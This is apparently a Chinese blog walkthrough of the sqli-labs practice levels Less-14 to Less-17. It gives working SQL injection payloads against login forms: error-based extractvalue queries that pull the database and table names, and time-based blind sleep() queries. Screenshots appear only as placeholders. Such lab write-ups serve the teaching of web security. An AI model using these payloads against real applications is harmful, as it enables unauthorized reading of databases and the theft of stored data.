less14~less-17

LESS-14
在这里插入图片描述
输入:admin”在这里插入图片描述
由此可见这个有错误提示且为双引号闭合;
由于有报错提醒故可用报错注入:
admin" and extractvalue(1,concat(0x7e,(select database()),0x7e))#在这里插入图片描述

Admin” and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=”security”),0x7e))#在这里插入图片描述以上错误时因为报错的行数超过了一行。

改进:admin" and extractvalue (1,concat(0x7e,(select table_name from information_schema.tables where table_schema=“security” limit 0,1),0x7e))#
在这里插入图片描述

LESS-15在这里插入图片描述由此可见没有报错系统,故不可用报错注入但是可以尝试延时注入
输入admin”#在这里插入图片描述输入:admin’#在这里插入图片描述
所以sql语句是一单引号的方式闭合

延时注入:admin’ and if(ascii(substr(database(),1,1))=115,1,sleep(5))#在这里插入图片描述
错误以出现停顿:admin’ and if(ascii(substr(database(),1,1))=114,1,sleep(5))#在这里插入图片描述

LESS-16与less-15类似不过闭合方式发生改变为admin”)
在这里插入图片描述

LESS-17由此可见可以使用报错注入
在这里插入图片描述

特殊点:在这里插入图片描述
提问:在看源代码的时候,先进行一次 select 语句,那为什么我们不从 username 处进行构
造呢?
其实我们可以在源代码中看到一个函数。check_input()函数里的几个函数你就明白了
(即:在我们 less17 的 check_input()中,对 username 进行各种转义的处理,所以此处不能使用username 进行注入)

用户名输入:admin;密码:bbb’在这里插入图片描述
错误提示’admin”可知用户名是由”方式闭合

报错注入:(用户名出输入)bbb’and extractvalue(1,concat(0x7e,(select database()),0x7e))#在这里插入图片描述
延时注入bbb’ and if(ascii(substr( database(),1,1))=115,1,sleep(5))#在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值